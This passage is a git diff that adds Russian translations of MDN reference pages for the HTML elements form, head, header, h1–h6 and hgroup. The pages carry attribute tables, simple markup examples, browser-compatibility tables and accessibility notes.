+<h2 id="DOM_interface" name="DOM_interface">DOM_interface</h2>
+
+<p>Этот элемент реализует {{domxref("HTMLFormElement")}} интерфейс.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: html">&lt;!-- Простая форма, которая пошлёт GET запрос --&gt;
+&lt;form action=""&gt;
+  &lt;label for="GET-name"&gt;Name:&lt;/label&gt;
+  &lt;input id="GET-name" type="text" name="name"&gt;
+  &lt;input type="submit" value="Save"&gt;
+&lt;/form&gt;
+
+&lt;!-- Простая форма, которая пошлёт POST запрос --&gt;
+&lt;form action="" method="post"&gt;
+  &lt;label for="POST-name"&gt;Name:&lt;/label&gt;
+  &lt;input id="POST-name" type="text" name="name"&gt;
+  &lt;input type="submit" value="Save"&gt;
+&lt;/form&gt;
+
+&lt;!-- Форма с fieldset, legend, и label --&gt;
+&lt;form action="" method="post"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Title&lt;/legend&gt;
+    &lt;input type="radio" name="radio" id="radio"&gt; &lt;label for="radio"&gt;Click me&lt;/label&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+</pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость браузера</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>novalidate</code> attribute</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>novalidate</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p><a id="Google_Chrome_notes" name="Google_Chrome_notes">[1] Интерфейс для автодополнений в Google Chrome может меняться при запросе, в зависимости от утверждения установлен ли <code>autocomplete</code> со значеним <code>off</code> на {{HTMLElement("input")}} элементах формы, так же как и на самой форме. С одной стороны, когда <code>autocomplete</code> со значеним <code>off</code> установлен для формы, но при этом не установлен для её {{HTMLElement("input")}} элементов, при запросе пользователя автоматически заполнить поля формы, Chrome может отобразить сообщение "autocomplete has been disabled for this form." С другой стороны, если и форма и её input элементы имеют <code>autocomplete</code> со значеним <code>off</code>, браузер не отобразит это сообщение. По этой причине, вам следует устанавливать атрибуту <code>autocomplete</code> значение <code>off</code> для каждого {{HTMLElement("input")}} у которого стоит нестандартное автодополнение.</a></p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Другие элементы, которые используются для создания форм: {{HTMLElement("button")}}, {{HTMLElement("datalist")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}},{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("legend")}}, {{HTMLElement("meter")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}.</li>
+</ul>
+
+<p><label>{{HTMLRef}}</label></p>
diff --git a/files/ru/web/html/element/head/index.html b/files/ru/web/html/element/head/index.html
new file mode 100644
index 0000000000..58b9d8deb8
--- /dev/null
+++ b/files/ru/web/html/element/head/index.html
@@ -0,0 +1,130 @@
+---
+title: '<head>: элемент метаданных документа'
+slug: Web/HTML/Element/head
+tags:
+  - Element
+  - HTML
+  - Web
+  - Веб
+  - Справка
+  - метаданные
+  - метаданные документа HTML
+translation_of: Web/HTML/Element/head
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;head&gt;</code></strong> содержит машиночитаемую информацию ({{glossary("metadata")}}) о документе, например его <a href="/ru/docs/Web/HTML/Element/title">заголовок</a>, <a href="/ru/docs/Web/HTML/Element/script">скрипты</a> и <a href="/ru/docs/Web/HTML/Element/style">страницы стилей</a>.</span></p>
+
+<div class="blockIndicator note">
+<p><strong>Заметка:</strong> <code>&lt;head&gt;</code> в основном содержит информацию для машинной обработки, а не для восприятия человеком. Информацию, видимую человеком, такую как заголовки верхнего уровня и перечисленные авторы, смотрите в элементе {{HTMLElement("header")}}.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td>Отсутствуют.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td>
+    <p>Если документ является документом {{HTMLElement("iframe")}} с атрибутом {{htmlattrxref("srcdoc", "iframe")}}, или если информация о заголовке доступна из протокола более высокого уровня (например, строки темы в электронном письме HTML), то ноль или более элементов содержащих метаданные.</p>
+
+    <p>Иначе, один или более элементов содержащих метаданные, один из которых является элементом {{HTMLElement("title")}}.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>Открывающий тег может быть пропущен, если первым, что находится внутри элемента <code>&lt;head&gt;</code> является другой элемент.<br>
+    Закрывающий тег может быть пропущен, если первое, что следует за элементом <code>&lt;head&gt;</code> не является пробелом или комментарием.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родительские элеметны</th>
+   <td>Элемент {{HTMLElement("html")}} (<code>&lt;head&gt;</code> является его первым дочерним элементом).</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td>Отсутствуют.</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLHeadElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>К этому элементу применимы <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("profile")}} {{obsolete_inline}}</dt>
+ <dd>{{glossary("URI")}} одного или более профилей метаданных, разделенных пробелами.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Заголовок страницы&lt;/title&gt;
+  &lt;/head&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p>HTML5-совместимые браузеры автоматически создают элемент <code>&lt;head&gt;</code>, если его теги пропущены в разметке. <a class="external" href="https://www.stevesouders.com/blog/2010/05/12/autohead-my-first-browserscope-user-test/">Такое поведение не гарантируется в старых браузерах</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-head-element', '&lt;head&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений с последнего "snapshot" (состояние сохраненное в определенный момент времени)</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-head-element', '&lt;head&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Атрибут <code>profile</code> больше не поддерживается</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.4.1', '&lt;head&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста проверьте https://github.com/mdn/browser-compat-data и отправьте нам "pull request" (предложение изменения кода в чужом репозитории).</p>
+
+<p>{{Compat("html.elements.head")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Элементы, которые могут использоваться внутри <code>&lt;head&gt;</code>:
+
+  <ul>
+   <li>{{HTMLElement("title")}}</li>
+   <li>{{HTMLElement("base")}}</li>
+   <li>{{HTMLElement("link")}}</li>
+   <li>{{HTMLElement("style")}}</li>
+   <li>{{HTMLElement("meta")}}</li>
+   <li>{{HTMLElement("script")}}</li>
+   <li>{{HTMLElement("noscript")}}</li>
+   <li>{{HTMLElement("template")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/html/element/header/index.html b/files/ru/web/html/element/header/index.html
new file mode 100644
index 0000000000..b9a383cc64
--- /dev/null
+++ b/files/ru/web/html/element/header/index.html
@@ -0,0 +1,119 @@
+---
+title: <header>
+slug: Web/HTML/Element/header
+tags:
+  - Element
+  - HTML
+  - Разделы
+  - Разделы HTML
+  - Справка
+  - Элемент
+translation_of: Web/HTML/Element/header
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;header&gt;</code></strong> представляет собой вводный контент, обычно группу вводных или навигационных средств. Он может содержать другие элементы-заголовки, а также логотип, форму поиска, имя автора и другие элементы.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/header.html", "tabbed-standard")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories" title="HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, кроме <code>&lt;header&gt;</code> и {{HTMLElement("footer")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родительские элементы</th>
+   <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">контент основного потока</a> в качестве содержимого. Обратите внимание, что элемент <code>&lt;header&gt;</code> не должен быть потомком элемента {{HTMLElement("address")}}, {{HTMLElement("footer")}} или другого элемента <code>&lt;header&gt;</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p>Элемент <code>&lt;header&gt;</code> не относится к секционному контенту , а значит не создает новый раздел в <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document">структуре HTML-документа</a>. При этом элемент <code>&lt;header&gt;</code> обычно должен содержать заголовок ближайшего раздела (элементы <code>h1</code>-<code>h6</code>), но это <strong>не</strong> обязательно.</p>
+
+<h3 id="Историческое_употребление">Историческое употребление</h3>
+
+<p>Несмотря на то, что элемент <code>&lt;header&gt;</code> не попал в спецификации до {{glossary("HTML5")}}, на самом деле, он существовал с самого начала HTML. Первоначально, на самом первом веб-сайте он использовался как элемент <code>&lt;head&gt;</code>. В какой-то момент было принято решение использовать другое имя. Позже, это позволило <code>&lt;header&gt;</code> занять другую роль.</p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>К этому элементу применимы только <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Заголовок_страницы">Заголовок страницы</h3>
+
+<pre class="brush: html">&lt;header&gt;
+  &lt;h1&gt;Заголовок главной страницы&lt;/h1&gt;
+  &lt;img src="mdn-logo-sm.png" alt="MDN logo"&gt;
+&lt;/header&gt;
+</pre>
+
+<h3 id="Заголовок_статьи">Заголовок статьи</h3>
+
+<pre class="brush: html">&lt;article&gt;
+  &lt;header&gt;
+    &lt;h2&gt;Планета Земля&lt;/h2&gt;
+    &lt;p&gt;Опубликовано в среду, 4 октября 2017, Джейн Смит&lt;/p&gt;
+  &lt;/header&gt;
+  &lt;p&gt;Мы живем на сине-зеленой планете, на которой до сих пор так много неизведанного.&lt;/p&gt;
+  &lt;p&gt;&lt;a href="https://janesmith.com/the-planet-earth/"&gt;Продолжить чтение...&lt;/a&gt;&lt;/p&gt;
+&lt;/article&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-header-element', '&lt;header&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-header-element', '&lt;header&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.header")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Связанные с этим разделом элементы: {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("footer")}}, {{HTMLElement("section")}}, {{HTMLElement("address")}}.</li>
+ <li class="last"><a class="deki-ns current" href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document">Разделы и структура документа HTML5</a>.</li>
+</ul>
diff --git a/files/ru/web/html/element/heading_elements/index.html b/files/ru/web/html/element/heading_elements/index.html
new file mode 100644
index 0000000000..36a44b736e
--- /dev/null
+++ b/files/ru/web/html/element/heading_elements/index.html
@@ -0,0 +1,242 @@
+---
+title: '<h1>–<h6>: HTML элементы заголовков секций'
+slug: Web/HTML/Element/Heading_Elements
+translation_of: Web/HTML/Element/Heading_Elements
+---
+<p id="Summary"><span class="seoSummary"><strong>HTML элементы <code>&lt;h1&gt;</code>–<code>&lt;h6&gt;</code></strong> представляют собой 6 уровней заголовков секций. <code>&lt;h1&gt;</code> это наибольший заголовок и<code>&lt;h6&gt;</code> - наименьший</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Поток контента</a>, заголовок контента, явный контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенный контент</th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Фразированное содержание</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родители</th>
+   <td>Любые елементы которые принимают <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Содержание потока</a>; не используй как дочерний {{HTMLElement("hgroup")}} елемент, сейчас он устарел</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ДМИП</th>
+   <td>{{ARIARole("tab")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLHeadingElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Эти элементы включают <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<div class="note">
+<p>Атрибут <code>align</code> устаревший; не используйте его.</p>
+</div>
+
+<h2 id="Примечания_к_использованию">Примечания к использованию</h2>
+
+<ul>
+ <li>Информация о заголовке может использоваться пользовательскими агентами, например, для автоматического создания оглавления для документа</li>
+ <li>Не используйте низкие уровни чтобы снизить размер шрифта: используйте <a href="/en-US/docs/Web/CSS">CSS</a> {{cssxref("font-size")}} вместо.</li>
+ <li>Избегайте пропуск уровней заголовков: всегда начинайте с <code>&lt;h1&gt;</code>, потом используйте <code>&lt;h2&gt;</code>, и так далее.</li>
+ <li>Вам следует рассмотреть избегание использования &lt;h1&gt; более раза на страницу. Смотрите {{SectionOnPage("/en-US/docs/Web/Guide/HTML/Using_HTML_sections_and_outlines", "Defining sections")}}.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Все_заголовки">Все заголовки</h3>
+
+<p>Следующий код показывает все уровни заголовков в действии</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Heading level 1&lt;/h1&gt;
+&lt;h2&gt;Heading level 2&lt;/h2&gt;
+&lt;h3&gt;Heading level 3&lt;/h3&gt;
+&lt;h4&gt;Heading level 4&lt;/h4&gt;
+&lt;h5&gt;Heading level 5&lt;/h5&gt;
+&lt;h6&gt;Heading level 6&lt;/h6&gt;
+</pre>
+
+<p>Вот результат этого кода:</p>
+
+<p>{{ EmbedLiveSample('Все_заголовки', '280', '300', '') }}</p>
+
+<h3 id="Пример_страницы">Пример страницы</h3>
+
+<p>Следующий код показывает несколько заголовков с некоторым содержанием под ними .</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Heading elements&lt;/h1&gt;
+&lt;h2&gt;Summary&lt;/h2&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+
+&lt;h2&gt;Examples&lt;/h2&gt;
+&lt;h3&gt;Example 1&lt;/h3&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+
+&lt;h3&gt;Example 2&lt;/h3&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+
+&lt;h2&gt;See also&lt;/h2&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+</pre>
+
+<p>Результат кода:</p>
+
+<p>{{ EmbedLiveSample('Пример_страницы', '280', '480', '') }}</p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<h3 id="Навигация">Навигация</h3>
+
+<p dir="ltr" id="tw-target-text">Обычный метод навигации для пользователей программ чтения с экрана - это переход от заголовка к заголовку для быстрого определения содержимого страницы. Из-за этого важно не пропускать один или несколько уровней заголовка. Это может создать путаницу, так как человеку, который движется по этому пути, может быть интересно узнать, где находится отсутствующий заголовок.</p>
+
+<h4 id="Не_делай">Не делай</h4>
+
+<pre class="notranslate">&lt;h1&gt;Heading level 1&lt;/h1&gt;
+&lt;h3&gt;Heading level 3&lt;/h3&gt;
+&lt;h4&gt;Heading level 4&lt;/h4&gt;
+</pre>
+
+<h4 id="Делай">Делай</h4>
+
+<pre class="notranslate">&lt;h1&gt;Heading level 1&lt;/h1&gt;
+&lt;h2&gt;Heading level 2&lt;/h2&gt;
+&lt;h3&gt;Heading level 3&lt;/h3&gt;
+</pre>
+
+<h4 id="Расположение">Расположение</h4>
+
+<p dir="ltr" id="tw-target-text">Заголовки могут быть вложены в подразделы, чтобы отразить организацию содержимого страницы. Большинство программ чтения с экрана также могут создавать упорядоченный список всех заголовков на странице, что может помочь человеку быстро определить иерархию содержимого:</p>
+
+<ol>
+ <li><code>h1</code> Жуки
+
+  <ol>
+   <li><code>h2</code> Этимология</li>
+   <li><code>h2</code> Распределение и разнообразие</li>
+   <li><code>h2</code><span> Эволюция</span>
+    <ol>
+     <li><code>h3</code> Позний полиозой</li>
+     <li><code>h3</code> Юрский период</li>
+     <li><code>h3</code> Меловойский период</li>
+     <li><code>h3</code><span> К</span>айнозойский период</li>
+    </ol>
+   </li>
+   <li><code>h2</code> Внешняя морфология
+    <ol>
+     <li><code>h3</code> Голова
+      <ol>
+       <li><code>h4</code> Рот</li>
+      </ol>
+     </li>
+     <li><code>h3</code> Туловище
+      <ol>
+       <li><code>h4</code> Передгрудь</li>
+       <li><code>h4</code> Пиероторакс</li>
+      </ol>
+     </li>
+     <li><code>h3</code> Ноги</li>
+     <li><code>h3</code> Крыла</li>
+     <li><code>h3</code> Живот</li>
+    </ol>
+   </li>
+  </ol>
+ </li>
+</ol>
+
+<p>Когда заголовки вложены, уровни заголовков могут быть «пропущены» при закрытии подраздела.</p>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/tutorials/page-structure/headings/">Заголовки • Структура страницы • Обучающие материалы по веб-доступности WAI</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">MDN Понимание WCAG, объяснение Руководства 1.3</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-programmatic.html">Понимание критерия успеха 1.3.1 | W3C Понимание WCAG 2.0</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_%E2%80%94_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are">MDN Понимание WCAG, Руководство 2.4 пояснения</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-skip.html">Понимание критерия успеха 2.4.1 | W3C Понимание WCAG 2.0 </a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-descriptive.html">Понимание критерия успеха 2.4.6 | W3C Понимание WCAG 2.0</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-headings.html">Понимание критерия успеха 2.4.10 | W3C Понимание WCAG 2.0</a></li>
+</ul>
+
+<h3 id="Содержание_раздела_маркировки">Содержание раздела маркировки</h3>
+
+<p dir="ltr" id="tw-target-text">Другим распространенным методом навигации для пользователей программ чтения с экрана является создание списка содержимого секций и использование его для определения макета страницы.</p>
+
+<p dir="ltr" id="tw-target-text">Содержимое секционирования можно пометить, используя комбинацию <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></code> и {{htmlattrxref("id")}} атрибута, с ярлыком, кратко описывающим назначение раздела. Этот метод полезен в ситуациях, когда на одной странице имеется более одного элемента секционирования.</p>
+
+<h4 id="Пример">Пример</h4>
+
+<pre class="notranslate">&lt;header&gt;
+  &lt;nav aria-labelledby="primary-navigation"&gt;
+    &lt;h2 id="primary-navigation"&gt;Primary navigation&lt;/h2&gt;
+    &lt;!-- navigation items --&gt;
+  &lt;/nav&gt;
+&lt;/header&gt;
+
+&lt;!-- page content --&gt;
+
+&lt;footer&gt;
+  &lt;nav aria-labelledby="footer-navigation"&gt;
+    &lt;h2 id="footer-navigation"&gt;Footer navigation&lt;/h2&gt;
+    &lt;!-- navigation items --&gt;
+  &lt;/nav&gt;
+&lt;/footer&gt;
+</pre>
+
+<p dir="ltr" id="tw-target-text">В этом примере технология чтения с экрана объявила бы, что есть два {{HTMLElement("nav")}} разделы, один называется «Основная навигация», а другой - «Нижний колонтитул». Если ярлыки не были предоставлены, человеку, использующему программное обеспечение для чтения с экрана, возможно, придется расследовать каждый <code>nav</code> содержание элемента, чтобы определить их назначение.</p>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">Использование атрибута aria-labelledby</a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/page-structure/labels/#using-aria-labelledby">Обозначение регионов • Структура страницы • Учебные пособия по WAC WAI</a></li>
+</ul>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Характеристика</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements', '&lt;h1&gt;, &lt;h2&gt;, &lt;h3&gt;, &lt;h4&gt;, &lt;h5&gt;, and &lt;h6&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements', '&lt;h1&gt;, &lt;h2&gt;, &lt;h3&gt;, &lt;h4&gt;, &lt;h5&gt;, and &lt;h6&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.5', '&lt;h1&gt;, &lt;h2&gt;, &lt;h3&gt;, &lt;h4&gt;, &lt;h5&gt;, and &lt;h6&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p dir="ltr" id="tw-target-text">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите  <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>  и отправьте нам запрос на извлечение.</p>
+
+<p>{{Compat("html.elements.h1")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTMLElement("p")}}</li>
+ <li>{{HTMLElement("div")}}</li>
+ <li>{{HTMLElement("section")}}</li>
+</ul>
+
+<div></div>
diff --git a/files/ru/web/html/element/hgroup/index.html b/files/ru/web/html/element/hgroup/index.html
new file mode 100644
index 0000000000..ae21df6496
--- /dev/null
+++ b/files/ru/web/html/element/hgroup/index.html
@@ -0,0 +1,114 @@
+---
+title: <hgroup>
+slug: Web/HTML/Element/hgroup
+translation_of: Web/HTML/Element/hgroup
+---
+<div>{{HTMLRef}}{{seeCompatTable}}</div>
+
+<div></div>
+
+<div class="note">
+<p><strong>Примечание использования: </strong>Этот элемент был удален из HTML5 (W3C) спецификации , но до сих пор остается в спецификации WHATWG. Он частично встроен в большинство браузеров, хотя бы поэтому врядли уйдет. Поскольку схематический алгоритм не реализован ни в одном брузере, семантика тега <code>&lt;hgroup&gt;</code> на практике реализована только теоретически. Спецификация HTML5 (W3C) дает совет как обозначать <a href="http://www.w3.org/TR/html5/common-idioms.html#sub-head">подзаголовки, альтернативные заголовки и слоганы</a>.</p>
+</div>
+
+<p>HTML &lt;hgroup&gt; Элемент (HTML Headings Group Element - Элемент Группы Заголовков HTML) представляет заголовок раздела. Он определяет один заголовок, который участвует в cхеме документа как заголовок явно или неявно заданного раздела, к которому он принадлежит.</p>
+
+<p>Собственно текст для схематического алгоритма - это текст первого элемента заголовка HTML наивысшего ранга (т. Е. Первый {{HTMLElement ("h1")}}, {{HTMLElement ("h2")}}, {{HTMLElement (" h3 ")}}, {{HTMLElement (" h4 ")}}, {{HTMLElement (" h5 ")}} или {{HTMLElement (" h6 ")}} с наименьшим числом потомков), а rank - уровень этого элемента заголовка HTML.</p>
+
+<p>Поэтому этот элемент группирует несколько заголовков, внося лишь основной текст в план документа. Он позволяет связывать вторичные заголовки, такие как подзаголовки, альтернативные заголовки или даже теги, с основным заголовком, без загрязнения структуры документа.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">
+    <p>Категория информации </p>
+   </th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Flow content</a>, heading content, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td>One or more {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, and/or {{HTMLElement("h6")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
